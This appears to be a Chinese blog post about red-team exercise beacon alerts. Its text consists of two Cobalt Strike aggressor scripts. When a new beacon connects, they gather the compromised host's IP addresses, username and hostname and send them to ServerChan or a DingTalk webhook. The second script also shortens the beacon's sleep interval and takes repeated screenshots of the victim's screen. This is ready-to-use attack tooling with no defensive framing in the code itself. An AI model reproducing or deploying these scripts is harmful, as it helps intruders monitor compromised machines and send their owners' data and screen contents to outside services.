实战|2023HVV反制蜜罐上线提醒实例以及思考

on beacon_initial {  sub http_get {    local('$output');    $url = [new java.net.URL: $1];    $stream = [$url openStream];    $handle = [SleepUtils getIOHandle: $stream, $null];    @content = readAll($handle);    foreach $line (@content) {      $output .= $line . "rn";    }    println($output);  }  $internalIP = replace(beacon_info($1, "internal"), " ", "_");  $userName = replace(beacon_info($1, "user"), " ", "_");  $computerName = replace(beacon_info($1, "computer"), " ", "_");  $url = 'https://sc.ftqq.com/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.send?text=CobaltStrike%20Online%20Reminder&desp=%0D%0A%0D%0AIP:'.$internalIP.'%0D%0A%0D%0AUserName:'.$userName.'%0D%0A%0D%0AHostName:'.$computerName;  http_get($url);}

#---AuthOr:Ggoodstudy---$dt_bot_webhookURL = 'https://oapi.dingtalk.com/robot/send?access_token=xxxxxxxxxxxxxxxxxxx';$targetInfo_txt = " ----存在新上线主机----n>";$listener_txt = "监听：";$externalIp_txt = "  n  公网IP：";$internalIp_txt = "  n  内网IP：";$computerName_txt = "  n  主机名：";$userName_txt = "  n  当前用户：";on beacon_initial {    local('$internalIP $computerName $userName');    $internalIP = replace(beacon_info($1, "internal"), " ", "_");    $externalIP = replace(beacon_info($1, "external"), " ", "_");    $computerName = replace(beacon_info($1, "computer"), " ", "_");    $userName = replace(beacon_info($1, "user"), " ", "_");    $listennerName = replace(beacon_info($1, "listener"), " ", "_");    #修改睡眠时间    bsleep($1, 10, 10);    $dt_msg = "{"msgtype": "markdown","markdown": {"title":"新主机上线","text":'.'"'.$targetInfo_txt.$listener_txt.$listennerName.$externalIp_txt.$externalIP.$internalIp_txt.$internalIP.$computerName_txt.$computerName.$userName_txt.$userName.'"'.'}}";    @curl_command = @('curl', '-H', 'Content-Type: application/json', '-d',$dt_msg,$dt_bot_webhookURL);    $process = exec(@curl_command);    binput($1, "printscreen");    bprintscreen($1);    #10s截图一次    sleep(10 * 1000);    bprintscreen($1);}